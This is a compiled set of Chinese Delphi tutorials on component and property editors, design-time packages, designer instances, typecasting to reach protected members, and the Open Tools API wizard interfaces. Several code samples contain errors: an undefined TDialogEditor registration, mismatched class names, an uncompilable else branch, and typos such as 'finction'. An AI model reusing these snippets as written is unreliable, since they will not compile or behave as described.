安装控件编辑器同样和安装控件和属性编辑器相似，只需加入到我们的控件库中，就可以在设计时执行Execute方法！控件编辑器可以为单独的类创建，也可以为一套类（包括所有的继承），这里，这个控件编辑器为TCommomDialog的一套控件而设置的。

unit CompEdit;
{ TCommonDialogComponentEditor version 0.1 }
interface
uses
DsgnIntf;

Type
TCommonDialogComponentEditor = class(TComponentEditor)
public
procedure Edit; override;
end;

procedure Register;

implementation
uses
Dialogs;

procedure TCommonDialogComponentEditor.Edit;
begin
if (Component IS TOpenDialog) then { also TSaveDialog }
(Component AS TOpenDialog).Execute
else
if (Component IS TPrintDialog) then
(Component AS TPrintDialog).Execute
else
if (Component IS TPrinterSetupDialog) then
(Component AS TPrinterSetupDialog).Execute
else
if (Component IS TColorDialog) then
(Component AS TColorDialog).Execute
else
inherited Edit { default behaviour }
end {Edit};

procedure Register;
begin
{ register TCommonDialogComponentEditor for
TCommonDialog and all its derived classes }
RegisterComponentEditor(TCommonDialog, TDialogEditor)
end;
end.

安装后，拖一个TOpenDialog到表单中，连击它，看看吧！嘿嘿

不幸的是，我们测试TFontDialog时，缺省的行为（编辑OnApply事件）并没有发生，我们确实调用了inherited Edit方法，但这是TComponentEditor.editor方法，而不是缺省的控件编辑器（TDefaultEditor）的Edit方法。有两种方法补救：一种是只为TCommonDialog的5种继承的控件安装，或者是从TDefaultEditor继承，而不是从TComponentEditor类继承。

菜单控件编辑器 Menu Component Editor
控件编辑器不是只能作一件事（在Edit中所作的），实际上，我们能创建自己的弹出菜单来提供几个选择，让我们再来作通用对话框的‘Execute/Preview’，但这次加入一些信息显示。为了避免打断TCommonDialog继承类的缺省行为，我们只注册TCommonDialogComponentEditor到5个没有缺省事件属性的类，这回我们要重载两个函数和一个过程：函数GetVerbCount、GetVerb和过程ExecuteVerb。

TCommonDialogComponentEditor = class(TComponentEditor)
public
function GetVerbCount: Integer; override;
function GetVerb(Index: Integer): string; override;
procedure ExecuteVerb(Index: Integer); override;
end;

因为有两个菜单选项，一个是运行Dialog.Excute,另一个是显示“About”信息，函数GetverbCount应该返回2。

function TCommonDialogComponentEditor.GetVerbCount: Integer;
begin
GetVerbCount := 2
end {GetVerbCount};

我们知道Delphi总是从0开始记数的，另一个函数，GetVerb的Index参数可能得到0和1两种可能的菜单输入选择。在0时我们应返回‘Execute’，在1（或其它值）应返回‘About’

function TCommonDialogComponentEditor.GetVerb(Index: Integer): string;
begin
if Index >= 1 then GetVerb := '&About...'
else GetVerb := '&Execute...'
end {GetVerb};

为了显示是哪一个通用对话框，我可以作如下改写：

GetVerb := '&Execute ' + Component.ClassName + '...'

最后，我们要执行动作，在0时，和以前在TDialogEditor中一样，在比0大时显示对话框

procedure TCommonDialogComponentEditor.ExecuteVerb(Index: Integer);
begin
if index >= 1 then
MessageDlg('TCommonDialogComponentEditor (c) 1996 by Dr.Bob',
mtInformation, [mbOk], 0)
else
if (Component IS TOpenDialog) then { also TSaveDialog }
(Component AS TOpenDialog).Execute
else
if (Component IS TPrintDialog) then
(Component AS TPrintDialog).Execute
else
if (Component IS TPrinterSetupDialog) then
(Component AS TPrinterSetupDialog).Execute
else
if (Component IS TColorDialog) then
(Component AS TColorDialog).Execute;
end {ExecuteVerb};

注意，可以使用Compent属性来得到确实的控件

试试吧，能得到如下的弹出式菜单

如果我们执行TColorDialog，选择另一种颜色，关闭对话框，在对象查看器中还是原来的值，为什么没有更新？

实际上，我们忘记调用了Designer.Modified 方法来通知设计者（包括对象查看器）控件已经改变了，例如某个属性的值改变了。

全部代码如下：

unit CompMenu;
{ TCommonDialogComponentEditor version 0.5 }
interface
uses
DsgnIntf;

Type
TCommonDialogComponentEditor = class(TComponentEditor)
function GetVerbCount: Integer; override;
function GetVerb(index: Integer): String; override;
procedure Executeverb(index: Integer); override;
end;

procedure Register;

implementation
uses
Dialogs;

function TCommonDialogComponentEditor.GetVerbCount: Integer;
begin
GetVerbCount := 2
end {GetVerbCount};

function TCommonDialogComponentEditor.GetVerb(index : Integer): String;
begin
if Index >= 1 then GetVerb := '&About...'
else GetVerb := '&Execute...'
end {GetVerb};

procedure TCommonDialogComponentEditor.ExecuteVerb(index: Integer);
begin
if index >= 1 then
MessageDlg('TCommonDialogComponentEditor (c) 1996 by Dr.Bob',
mtInformation, [mbOk], 0)
else
if (Component IS TOpenDialog) then { also TSaveDialog }
(Component AS TOpenDialog).Execute
else
if (Component IS TPrintDialog) then
(Component AS TPrintDialog).Execute
else
if (Component IS TPrinterSetupDialog) then
(Component AS TPrinterSetupDialog).Execute
else
if (Component IS TColorDialog) then
(Component AS TColorDialog).Execute;
Designer.Modified { inform the Object Inspector of the change }
end {Edit};

procedure Register;
begin
RegisterComponentEditor(TCommonDialog, TCommonDialogComponentEditor)
end;
end.

菜单缺省控件编辑器Menu Default Component Editors
现在我们知道了如何为没有缺省行为的TCommonDialogs写一个新的控件编辑器，如何扩展有缺省行为的，但是又不丢失其原有的行为？例如，提供弹出菜单第一项（缺省）选择OnEvent转向代码编写，第二项预览执行，第二项选择信息显示。为了做到这一个，我们需要另一个从TDefaultEditor继承的TCommomDialogDefaultEditor类。同样我们要重载两个函数和一个过程。

TCommonDialogDefaultEditor = class(TDefaultEditor) { not TComponentEditor }
public
function GetVerbCount: Integer; override;
function GetVerb(Index: Integer): string; override;
procedure ExecuteVerb(Index: Integer); override;
end;

现在要3个选项，一个是缺省动作（TDefaultEditor.Edit），一个为Dialog.Excute，一个显示信息。所以GetVerbCount应返回3。

function TCommonDialogDefaultEditor.GetVerbCount: Integer;
begin
GetVerbCount := 3
end {GetVerbCount};

GetVerb的Index参数能得到0，1，2三个可能值，在0时返回‘OnEvent’handler code’，在1时返回‘Exeute TxxxDialog’，2时返回其它值）返回‘About’

function TCommonDialogComponentEditor.GetVerb(Index: Integer): string;
begin
case Index of
0: GetVerb := '&OnEvent handler code';
1: GetVerb := '&Execute ' + Component.ClassName + '...';
else GetVerb := '&About...'
end
end {GetVerb};

最后，执行动作。

procedure TCommonDialogComponentEditor.ExecuteVerb(Index: Integer);
begin
if index >= 2 then
MessageDlg('TCommonDialogDefaultEditor (c) 1996 by Dr.Bob',
mtInformation, [mbOk], 0)
else
if index = 1 then
begin
if (Component IS TFindDialog) then { also TReplaceDialog }
(Component AS TFindDialog).Execute
else
if (Component IS TFontDialog) then
(Component AS TFontDialog).Execute;
Designer.Modified
end
else inherited Edit { TDefaultEditor.Edit for index = 0 }
end {ExecuteVerb};

我想，你已经明白了。如果安装且激活了新的TCommonDialog DefaultEditor ，在TFindDialog 时，可得到如下弹出式菜单：

如果选择第一项，双击控件，这一般是执行菜单动作的第一项），自动地弹到代码编辑器中，一切都如你所愿，代码如下：

unit CompMenu;
interface
uses
DsgnIntf;

Type
TCommonDialogComponentEditor = class(TComponentEditor)
function GetVerbCount: Integer; override;
function GetVerb(index: Integer): String; override;
procedure Executeverb(index: Integer); override;
end;

TCommonDialogDefaultEditor = class(TDefaultEditor)
function GetVerbCount: Integer; override;
function GetVerb(index: Integer): String; override;
procedure Executeverb(index: Integer); override;
end;

procedure Register;

implementation
uses
Dialogs;

{ TCommonDialogComponentEditor }

function TCommonDialogComponentEditor.GetVerbCount: Integer;
begin
GetVerbCount := 2
end {GetVerbCount};

function TCommonDialogComponentEditor.GetVerb(index : Integer): String;
begin
if Index >= 1 then GetVerb := '&About...'
else GetVerb := '&Execute ' + Component.ClassName + '...'
end {GetVerb};

procedure TCommonDialogComponentEditor.ExecuteVerb(index: Integer);
begin
if index >= 1 then
MessageDlg('TCommonDialogComponentEditor (c) 1996 by Dr.Bob',
mtInformation, [mbOk], 0)
else
begin
if (Component IS TOpenDialog) then { also TSaveDialog }
(Component AS TOpenDialog).Execute
else
if (Component IS TPrintDialog) then
(Component AS TPrintDialog).Execute
else
if (Component IS TPrinterSetupDialog) then
(Component AS TPrinterSetupDialog).Execute
else
if (Component IS TColorDialog) then
(Component AS TColorDialog).Execute;
Designer.Modified
end
end {ExecuteVerb};

{ TCommonDialogDefaultEditor }

function TCommonDialogDefaultEditor.GetVerbCount: Integer;
begin
GetVerbCount := 3
end {GetVerbCount};

function TCommonDialogDefaultEditor.GetVerb(index : Integer): String;
begin
case Index of
0: GetVerb := '&OnEvent handler code';
1: GetVerb := '&Execute ' + Component.ClassName + '...';
else GetVerb := '&About...'
end
end {GetVerb};

procedure TCommonDialogDefaultEditor.ExecuteVerb(index: Integer);
begin
if index >= 2 then
MessageDlg('TCommonDialogDefaultEditor (c) 1996 by Dr.Bob',
mtInformation, [mbOk], 0)
else
begin
if (Component IS TFindDialog) then { also TReplaceDialog }
(Component AS TFindDialog).Execute
else
if (Component IS TFontDialog) then
(Component AS TFontDialog).Execute;
Designer.Modified
end
else inherited Edit { TDefaultEditor.Edit }
end {ExecuteVerb};

procedure Register;
begin
{ empty default component editors }
RegisterComponentEditor(TOpenDialog, TCommonDialogComponentEditor);
RegisterComponentEditor(TPrintDialog, TCommonDialogComponentEditor);
RegisterComponentEditor(TPrinterSetupDialog, TCommonDialogComponentEditor);
RegisterComponentEditor(TColorDialog, TCommonDialogComponentEditor);
{ event default component editors }
RegisterComponentEditor(TFontDialog, TCommonDialogDefaultEditor);
RegisterComponentEditor(TFindDialog, TCommonDialogDefaultEditor)
end;
end.

结论：
在本文中，我们讨论了如何使用属性编辑器和控件编辑器来扩展和增强Delphi设计环境，我们知道了如何使用已有的编辑器，更重要的是，怎样写自己的，属性编辑器和控件编辑器只是所谓OpenTools API 的头两个，甚至不是最重要的，但是确实是非常有益。从这里开始吧!


 Delphi 6.0中属性编辑器的解决方案
Delphi中用户可以自己声明属性编辑器在程序设计期间对第三方控件进行设计，对
属性编辑器的声明可以在注册控件的时候通过RegisterComponentEditor过程进行定义，
具体为：
procedure RegisterComponentEditor(ComponentClass: TComponentClass; Compo
nentEditor: TComponentEditorClass);
当然，用户在注册前要定义自己的属性编辑器，下面是一个例子：
TOutlookBarEditor = class(TComponentEditor)
function GetVerb(Index: Integer): string; override;
function GetVerbCount: Integer; override ;
procedure Edit; override;
procedure ExecuteVerb(Index: Integer); override;
end;
其中最关键的部分在于对RegisterComponentEditor的引用。
在Delphi5.0中，可以直接将$(DELPHI)\Source\ToolsAPI目录下的DsgnIntf.pas文
件拷贝到控件的设计目录下或者拷贝到$(DELPHI)\Lib目录即可。
在Delphi6.0中，Delphi将文件分解成DesignIntf.pas和DesignEditors.pas两个文
件，所以引用时要将$(DELPHI)\Source\ToolsAPI目录下的DesignIntf.pas和DesignEdi
tors.pas两个文件拷贝到控件的设计目录下或者拷贝到$(DELPHI)\Lib目录。
当然，如果你的Delphi Package的搜索路径或者Delphi IDE的搜索路径可以搜索到
$(DELPHI)\Source\ToolsAPI目录就省去此麻烦。
但是，在Delphi 6.0中，如果就此编译，会出现找不到Proxies.dcu文件的问题。因
为Proxies被编译了，在Delphi的目录中根本就找不到此相关文件，它已经被编译到des
ignide.dcp文件中，解决方案很简单，就是在你的Package中引用designide.dcp文件即
可，具体作法是：
Project－＞View Source－＞在requires部分加入对designide的引用即可。
由于此部分文件只是在设计期间才有效，所以你的Package在设计时就要注意：
不要在运行期间将在进行期间使用的文件加入对DesignIntf.pas和DesignEditors.
pas两个文件的引用，否则依然会出现找不到Proxies.dcu文件的问题，要将文件脱离！

当然，如果你的Package要在Delphi 5.0及Delphi6.0下同时能运行，那就要下点功
夫通过编辑器的版本进行控制，Delphi 6.0的编辑器版本是VER140，Delphi 5.0的编辑
器版本是VER130，下面是本人的一个真实的引用文件：
uses
Classes, {$IFDEF VER140}DesignIntf, DesignEditors{$ELSE}DsgnIntf{$ENDI
F};
Package部分由于版本不同而对不同的版本要进行不同的设计，再此就不叙述了！
其它补记：由于Delphi 5.0和Delphi 6.0对过程及参数的定义区域不同而出现错误
，所以在编写两个版本的Package时一定要注意引用虚函数时出现的问题。例如对TCont
rol控件的SetAutoSize(Value: Boolean)过程的引用：
在Delphi 5.0中定义为：
private
procedure SetAutoSize(Value: Boolean);
而在Delphi 6.0中定义为：
protected
procedure SetAutoSize(Value: Boolean); virtual;
此时的定义要根据自己的实际情况定义了，可不能随便定义了！
Starfarm--->Docn Hank(starfarm@263.net)
2001.11.13


给TForm的子类添加Published属性

如何给Tform的子类添加Published属性最简单的方法是使用sergey写的工具包CCPack（ http://www.geocities.com/sergey_orlik/.）

如果不使用第三方的工具包的话，可以按一下步骤来实现

1、给Tform的子类添加Published属性

2、把Form添加到Object Repository (对象仓库)

3、添加这个窗体到一个设计时包中。

4、添加uses DsgnIntf,…到单元中，并加入注册代码如下：

procedure Register;

begin
RegisterCustomModule(TMyForm, TCustomModule);
end;

5、最后在项目中从Repository中继承你添加的TmyForm，新的Published属性会显示在属性编辑器中。

当然还有更加复杂的创建方法，就是写一个模块创建专家，使用CreateModuleEx函数和不同的流机制来实现，但由于比较难，并且没有什么特殊的优势，这里就不介绍了。


获取 DataModules 设计时的实例

问题提出/摘要:

要取得 Forms 设计时的实例你只要使用 Form 的"Designer"属性.

回答:

其实这是很简单的事。

DataModule 是很常用的 VCL 组件，它有一个隐藏的 Form ,所以要获取该 DataModule 的设计时实例，只需要找到它的"Designer"属性就可以了。

下面给出例子。它可以通过你工程中的任何 Form 的名字得到其设计时的实例。这个函数在做你自己的“专家”时是非常有用的。

先加入以下定义：

{$IFDEF VER120}

TFormDesigner= IFormDesigner;

{$ENDIF}

{$IFDEF VER125}

TFormDesigner= IFormDesigner;

{$ENDIF}

{$IFDEF VER130}

TFormDesigner= IFormDesigner;

{$ENDIF}

获取实例的函数如下：

function GetDesigner(FToolServices: TIToolServices; FormName: string): TFormDesigner;

var

tmpC: TComponent;

begin

Result := nil;

with FToolServices.GetFormModuleInterface(FormName).GetFormInterface.GetFormComponent do begin

tmpC := GetComponentHandle;

if (tmpC is TCustomForm) then begin

// We have the usual form

Result := TFormDesigner(TCustomForm(tmpC).Designer);

Exit;

end

else

// We have the DataModule or WebModule or something else

Result := TFormDesigner(TCustomForm(tmpc.Owner).Designer);

end;

end;

不使用 ToolServices 的获取实例函数如下：

finction GetDesigner(AComp: TComponent): TFormDesigner;

var

tmpC: TComponent;

begin

Result = nil;

if not Assigned(AComp) then Exit;

if AComp is TCustomForm then

Result := TFormDesigner(TCustomForm(AComp).Designer)

else begin

tmpC := AComp;

while true do begin

if Assigned(tmpC.Owner) then tmpC := tmpC.Owner

else break;

if tmpC is TCustomForm then begin

Result := TFormDesigner(TCustomForm(AComp).Designer);

break;

end;

end;

end;

end;


访问隐藏属性

访问隐藏属性（如何不建立派生部件就可以访问隐藏属性）
David Souchard

摘　要：如何访问Grid的InplaceEditor属性？
关键字：delphi3000文章 保护 TStringGrid TDrawG
类　别：Object Pascal

某些部件具有很有用的属性，但由于某些原因它们在保护段中声明，所以程序员不能轻易访问它们。例如，TStringGrid, TDrawGrid, TDBGrid和TcustomGrid的一般派生类有一个InplaceEditor属性，代表用来记录编辑中的单元格的值的文本编辑框。但是你不能直接访问该属性，因为它被声明为保护。
最简单的方法是为你的部件生成子类（派生）类，只是实现一个目的或把保护段public化。
例如：

type
TDBGridX = class(TDBGrid)
public
property InplaceEditor;
end;

我们不需要安装这个新部件并注册到面板中（这样太过麻烦）。任何时候只要我们想访问该属性，只要把此对象（如DBGrid1）强制转换成我们的新类。如：
TDBGridX(DBGrid1).InplaceEditor.SelectAll;

注意：InplaceEditor会为零（直至EditorMode第一次设成True（通过代码或用户按F2）。

投稿人：CoDelphi.com　投稿日期：2001-5-22 9:39:00


不用注册新部件就能增加新的方法和属性
David Souchard

摘　要：不需要修改源代码或在部件面板中注册派生部件就能为部件增加新的方法和属性
关键字：delphi delphi3000 方法 派生 继承&n
类　别：Object Pascal

有没有办法不需要修改源代码或安装派生部件就能增加新的方法和属性？

增加新的方法和属性
---------------------------------
有时我们要为已有的部件增加新的方法和属性（或改变已有属性的可视性）。一个方法是修改部件，但这意味着对它的package重新编译，而且如果要其它人也编译我们的应用程序，就要把我们的变动重新发布，这样对方就很麻烦。有时我们不能这样做，因为我们可能没有源代码。这样的话。最好对部件进行派生，并加入新的属性和方法。例如：
type
TEditX = class(TEdit)
public
function GetForeColor: TColor;
procedure SetForeColor(color: TColor);
property ForeColor: TColor read GetForeColor write SetForeColor;
end;

这些方法可以按下例的方法实现。
function TEditX.GetForeColor: TColor;
begin
Result := Font.Color;
end;

procedure TEditX.SetForeColor(color: TColor);
begin
Font.Color := Color;
end;

强制转换成新类
------------------------

我们无需安装新部件或把它注册到部件面板中或在应用程序中取代已有的控件（这样会得不偿失）。相反任何时候只要我们需要访问新属性和方法，我们可以把对象强制转换（如Edit1）成我们的新类，例如：
TEditX(Edit1).ForeColor := clRed;

或

TEditX(Edit1).SetForeColor(clRed);

警告：只有在新类中加入新的属性和静态方法时才能把它强制转换成派生类，但不能增加新的字域和新的虚方法或动态方法，虽然理论上你可以重载已有的虚方法。此外，已有属性的可见性可以改变，就象"访问隐藏属性"文中讲解的InplaceEditor例子。

投稿人：CoDelphi.com　投稿日期：2001-5-22 9:41:00


获得子类的全部父类

function DerivesFrom(Sender:TObject; Sorted:boolean):TStrings;
var
ClassRef: TClass;
Ancestorlist:TStringlist;
SwitchList:TStringlist;
Loopint:integer;

begin
Ancestorlist:=TStringlist.Create;
ClassRef := Sender.ClassType;
while ClassRef <> nil do
begin
Ancestorlist.Add(ClassRef.ClassName);
ClassRef := ClassRef.ClassParent;
end;
if (not sorted) then
begin
Result:=Ancestorlist;
exit;
end
else
begin
SwitchList:=TStringlist.create;
for loopint:=Ancestorlist.Count-1 downto 0 do
Switchlist.Add(Ancestorlist.Strings[loopint]);

Ancestorlist.Free;
Result:=SwitchList;
end;
end;


如何获得IDE的资源

比如菜单的图标

Borland有一个例子在demos\toolsapi\目录下


Open Tools API的入門介紹

在Delphi中，要撰寫專家最主要的著眼點在於「如何撰寫專家」及「與IDE環境互動」，在Hidden Paths of Delphi 3.0的寫法前者是由TIExpert繼承下來並且覆寫所有的方法，使我們對Delphi的整合環境有了第一次接觸，只要由TIExpert中呼叫我們寫的程式，也就會讓Delphi在設計時期呼叫我們的程式；但是若您要和Delphi的整合開發環境有親密接觸，那你得接觸TIToolServices類別才行，其中的函式可以讓你把玩Delphi整合環境，比如說你可以開啟或關閉一個專案，或是寫出許多可以實際產生程式的專家。

當我拿到產生BizSnap程式碼的專家時，因為最近在看Hidden Paths of Delphi 3.0這本書，學Open Tools API如何用，所以也好奇的把其中的原始碼調出來瞧瞧，赫然發覺其中的程式我完全看不懂，怎麼Hidden Paths Of Delphi中的寫法完全沒看到，讓我大失所望；又調出Delphi的Demos中的Open Tools API範例，又是類似的寫法，都沒有自TIExpert繼承，也看不到TIToolsServices，反倒是implement一大堆Interface。

對於這些奇怪的寫法，我找不到文件有說明，只好自行分析Open Tools API的原始碼，看來這次尋幽訪勝得靠自己了；)

在經過一夜的Trace後，我想我大致上可以掌握了在Delphi 6所附的Open Tools API範例的寫法，在ToolsAPI單元中宣告的這些介面，不再像以往的TIInterface是繼承TObject來模擬Interface，而是用Complier原生支援的Interface，所有的Interface繼承至IUnknown；其實你在Delphi 5、6中還是可以照Hidden Paths of Delphi 3.0中的寫法，不過用Delphi所附的範例寫法會比較好，底下是我想到的優點：

你的專家會比較有彈性：
使用傳統的方法你必需要覆寫所有的專家方法，但是其實有些方法是不需要覆寫的，比如說若你的專家是要放在物件寶庫中那麼其實你不用覆寫TIExpert以下的這個方法「function GetMenuText: string; virtual; stdcall; abstract;」這個函式是用來回傳假如你寫得是一個標準專家或是附加專家那麼在選單上要出現的文字是什麼；藉由選擇性的implement你的專家Interface，可以只要改寫真正需要的方法就可以了。
你的專家會有更多的功能：

藉由IBorlandIDEServices這個介面，你可以存取到比用IToolServices更多的功能，在ToolsAPI這個單元當中只要是結尾為Services的Interface，那麼就可以被IBorlandIDEServices所轉型後使用，也就是說IBorlandIDEServices替代了IToolServices，Delphi的整合環境會自動產生一個物件，此物件實作了IBorlandIDEServices，而此物件會被自動指定到BorlandIDEServices這個IBorlandIDEServices介面變數，使得藉由BorlandIDEServices可以和Delphi的整合環境深度對話，下面是摘自ToolsAPI可被BorlandIDEServices轉型的Interface及簡短的說明，我第一次接觸還真的蠻驚訝的，竟然可以轉這麼多型別。

Interface名稱 摘要說明
IBorlandIDEServices 與整合環境互動的始祖，可轉型至結尾為Services的Interface，以真正提供服務。
INTAServices 可以換掉整合環境的圖示
IOTAActionServices 可以用來開啟檔案、關閉檔案、存檔案以及開啟專案。
IOTADebuggerServices 用來得知除錯資訊，比如說設定了多少個中斷點，這些中斷點又在哪裡？
IOTAEditorServices 用來和編輯器互動，比如說可以得知目前在編輯器中游標的位置或是在編輯器中加碼
IOTAKeyBindingServices 得知鍵盤訊息，不是很清楚
IOTAKeyboardServices 得知鍵盤訊息，不是很清楚
IOTAMessageServices 通常在程式執行時程式編輯器下面會有一個視窗出現，用來顯示Complier的訊息，這個Interface就是和那個視窗互動的
IOTAServices 用來得知目前的編輯環境是VCL還是CLX
IOTAModuleServices 提供產生模組、獲得目前整合環境的模組資訊
IOTAPackageServices 用來顯示Packages資訊
IOTAToDoServices 提供對To-Do List的功能，比如說加入一些To-Do項目
IOTAWizardServices 用來在設計時期動態的加入或移除專家，提供了以往只能用註冊的方式

您可以看到這些豐富的介面，真是多啊！這每一個介面又牽扯到至少兩三個相關的介面，看來要詳細介紹完可得要完全改寫了Hidden Paths of Delphi了，我可沒那個本事，能讓你入門就不錯了；看來Code Site、Code Rush這類軟體就是大量用到了這些介面。
有兩種介面我還不是很清楚，就是IOTAKeyBindingServices及IOTAKeyboardServices，我試圖開啟Editor Keybinding這個範例，裡面有對於這兩個介面的程式碼，可是無法正確的Install成功，若您知道解法的話請告訴我。
底下我們以Delphi中所附的Open Tools API範例PackageDemo來說明專家的寫法及如何與整合環境互動，明白的講，就是要告訴你兩件事：
1不要再繼承至TIExpert了啦！用繼承多個ToolsAPI單元中的介面這樣的方式會比較好。
2不要再用ToolsServices這個類別了啦！用BorlandIDEServices會比較好。
先來看看在PackageDemo中的WizMain單元中對於一個專家的宣告：

  TMenuIOTATest = class(TNotifierObject, IOTAWIzard, IOTAMenuWizard)
  public
    function GetMenuText: string;
    function GetIDString: string;
    function GetName: string;
    function GetState: TWizardState;
    procedure Execute;
  end;

看起來是不是比TIExpert的宣告清爽了許多呢？有關TIExpert的宣告你可在ExptIntf這個單元中找到，我就不列出來了。其中TnotifierObject是基本和整合環境互動的類別，當整合環境發生事件時會通知您，不過TnotifierObject暗中把這些方法做掉了，ToolsAPI單元中的註解中有提到，通常我們都不會需要這些方法，好吧！也不再追究詳細的用法了。
而實作IOTAWIzard這個介面是一個重要的關鍵，代表要這個類別要成為一個專家，底下是其介面宣告：

IOTAWizard = interface(IOTANotifier)
   ['{B75C0CE0-EEA6-11D1-9504-00608CCBF153}']
  { Expert UI strings }
  function GetIDString: string;  //傳回唯一代表這個專家的字串
  function GetName: string; //傳回這個專家的名稱
  function GetState: TWizardState; //傳回這個專家的狀況，是要致能或是選取
{ Launch the AddIn }
 procedure Execute; //專家實際執行時會呼叫的程式碼
 end;

眼尖的朋友一定會發現，原本在TIExpert中有的GetStyle方法已不復見，這個函式的傳回值決定了專家的種類，是為附加專家、標準專家、專案專家或是表格專家；底下是在ToolsAPI中結尾為Wizard的介面摘要說明，我們可以從其中的關係很容易推出若我們要寫哪一種類的專家就要實作哪個介面，是的，專家種類的選擇由函式傳回值改為實作某個介面了！

介面名稱 父介面 專家類型
IOTAWizard IOTANotifier 最基本的專家介面
IOTAMenuWizard IOTAWizard 標準專家
IOTARepositoryWizard IOTAWizard 物件寶庫中的專家介面
IOTARepositoryWizard60 IOTARepositoryWizard 可以判斷是CLX還是VCL
IOTAProjectWizard IOTARepositoryWizard 專案專家
IOTAFormWizard IOTARepositoryWizard 表格專家

若要寫個表格專家就實作IOAFormaWizard介面，一塊實作它的父介面IOTARepositoryWizard及IOTAWizard；若要寫個標準專家就實作IOTAMenuWizard介面，一塊實作它的父介面IOTAWizard，這樣的原則很容易掌握吧。在下表中更可清楚看出TIExpert與IOTAXXXWizard介面之間的差異及實作方法的說明：

IOTAXXWizard 函式 說明
TIExpert IOTAWizard function GetIDString: string; 傳回識別專家的唯一字串
function GetName: string; 傳回專家的名稱
function GetState: WizardState; 在選單項目中的狀態
procedure Execute; 實際實行專家程式碼的地方
IOTAMenuWizard function GetMenuText: string; 傳回出現在選單的名稱
IOTARepositoryWizard function GetAuthor: string; 傳回作者名稱
function GetComment: string; 傳回專家簡要說明
function GetPage: string; 要在物件寶庫中哪一頁安裝
function GetGlyph: Cardinal; 傳回代表專家的圖示
IOTAProjectWizard 取代TIExpert中的GetStyle方法 只是單純的宣告為專案專家
IOTAFormWizard 只是單純的宣告為表格專家
IOTARepositoryWizard60 function GetDesigner: string;
property Designer: string read GetDesigner; 獲得目前的編輯環境是在VCL下還是CLX

容我再說明一次，在用IOTAxxWizard介面來寫專家你只要改寫需要的方法就可以了，不用再覆載所有TIExpert的方法了；IOTAProjectWizard及IOTAFormWizard只是單純的標記此專家為專案專或是表格專家，取代了以往的GetStyle函式，在其中沒有任何的方法宣告，但是Delphi整合環境會用QueryInterface的方式來查出這些介面來判斷正確的專家類型，而安裝在正確的地方。

還有一個值得一題的介面IOTARepositoryWizard60，此函式並沒有出現在 Delphi 6.0的TIExpert宣告中，實作此函式可以得知目前的設計環境是在VCL下還是CLX下，從種種的跡象看來，似乎TIExpert和TIToolsServices都和BDE的命運一樣，進入了維護階段。

以下我列出PackagesDemo中的WizMain單元程式碼，對於容易理解而且上面有提過的介面及方法就用註解的方式來標記，其他的才特別加以說明。

unit WizMain;

interface

uses
  Windows, ToolsAPI, Forms, Dialogs, FrmMain, SysUtils, Graphics;
//以前至少要使用兩個Open Tools API的單元ExptIntf及ToolInf，前者是專家的//宣告，後者是TIToolServices的宣告，現在看到ToolsAPI這個單元全包了。
type
  TMenuIOTATest = class(TNotifierObject, IOTAWIzard, IOTAMenuWizard)
  public
    function GetMenuText: string;
    function GetIDString: string;
    function GetName: string;
    function GetState: TWizardState;
    procedure Execute;
  end;

procedure Register;

var
//宣告介面變數，可取得Package資訊的介面
  PackageTest: IOTAPackageServices;
  PackageForm: TForm2;

implementation

procedure Register;
begin
  RegisterPackageWizard(TMenuIOTATest.create as IOTAWizard);//註冊專家
end;
//出始化專家，獲得IOTAPackageServices介面
procedure InitExpert;
begin
//將BorlandIDEServices轉型為IOTAPackageServices以取得Package相關資料
  PackageTest := (BorlandIDEServices as IOTAPackageServices);
end;

//結束專家要做的事情
procedure DoneExpert;
begin
  { stubbed out }
end;

{ TMenuIOTATest }

procedure TMenuIOTATest.Execute;
var
  i: Integer;

begin
  if BorlandIDEServices <> nil then
  begin
   PackageForm := TForm2.create(Nil);
   with PackageForm do
     {Package information}
//取得在整合環境中的Package數目
     for i := 0 to PackageTest.GetPackageCount-1 do
//根據索引來取得Package的名稱
       ListBox1.Items.Add(PackageTest.GetPackageName(i));
   PackageForm.ShowModal;
   PackageForm.Free;
  end;
end;

//傳回唯一識別專家的字串
function TMenuIOTATest.GetIDString: string;
begin
  Result := 'PackageInfoMenuId';
end;

//傳回了在Help選單項目上出現的文字，為「Package Demo」
function TMenuIOTATest.GetMenuText: string;
begin
  Result := 'Packa&ge Info';
end;

//傳回專家的名稱
function TMenuIOTATest.GetName: string;
begin
  Result := 'PackageInfoMenu';
end;

//傳回專家在選單項目上的狀態，此為Enabled
function TMenuIOTATest.GetState: TWizardState;
begin
  Result := [wsEnabled];
end;

initialization
  InitExpert;

finalization
  DoneExpert;

end.

在以上的程式碼中您會發覺幾個重要的改變：
1註冊專家的方式：

procedure Register;
begin
  RegisterPackageWizard(TMenuIOTATest.create as IOTAWizard);//註冊專家
end;

您必須先將您的「專家類別」轉型成為「專家介面」再用RegisterPackageWizard這個函式來進行註冊，取代了註冊TIExpert專家的RegisterLibraryExpert函式。
2如何與整合環境互動：

procedure InitExpert;
begin
  PackageTest := (BorlandIDEServices as IOTAPackageServices);
end;

以往，一拖拉庫的函式都放在TIToolServices中，這次，放在IBorlandIDEServices介面，你要若取得相關的資訊，得轉型至相關的介面才可以使用，這樣分類看起來的確是清爽許多，詳細的BorlandIDEServices可轉型至何介面，請看本文第一張附表。
3如何使用IOTAxxxServices類別：
底下列出這個範例中的IOTAPackageServices宣告，

//繼承至IUnknown
IOTAPackageServices = interface(IUnknown)
    ['{26EB0E4D-F97B-11D1-AB27-00C04FB16FB3}']
    //取得目前整合環境中已安裝的Package數目
    function GetPackageCount: Integer;
    //根據索引值取得Package的名稱
    function GetPackageName(Index: Integer): string;
   //根據Package的索引值找出在這個Package中有幾個元件
    function GetComponentCount(PkgIndex: Integer): Integer;
    //根據Package及Component的索引值找出對應的元件名稱
    function GetComponentName(PkgIndex, CompIndex: Integer): string;
    //下面的屬性只是上面的函式再包裝而已
    property PackageCount: Integer read GetPackageCount;
    property PackageNames[Index: Integer]: string read GetPackageName;
    property ComponentCount[PkgIndex: Integer]: Integer read GetComponentCount;
    property ComponentNames[PkgIndex, CompIndex: Integer]: string read GetComponentName;
  end;

行文至此，我想這個範例對你而言已經沒有什麼秘密了吧！剩下的就是一些UI的程式碼而已，大部份放在FrmMain這個單元中，不難，你應該可以輕易瞭解。
ToolsAPI還有許多強大的介面等待我們去發掘，這篇文章只是個起點而已，下次來看看Borland所釋出的BizSnap專家是如何寫得吧！

最後，我們來討論一下，你覺得Borland設計這些與整合環境互動的概念與技巧可否應用於你的專案上呢？你寫的物件別人只能經由介面來存取，完全看不到你實作程式碼，若要使用者提供一些資訊的話，就讓他實作某個介面，你的內部類別再去呼叫這些程式碼以真正提供服務。

假如你因為這小段話而獲得啟發的話，可別忘了把你的成品發表出來看看哦！

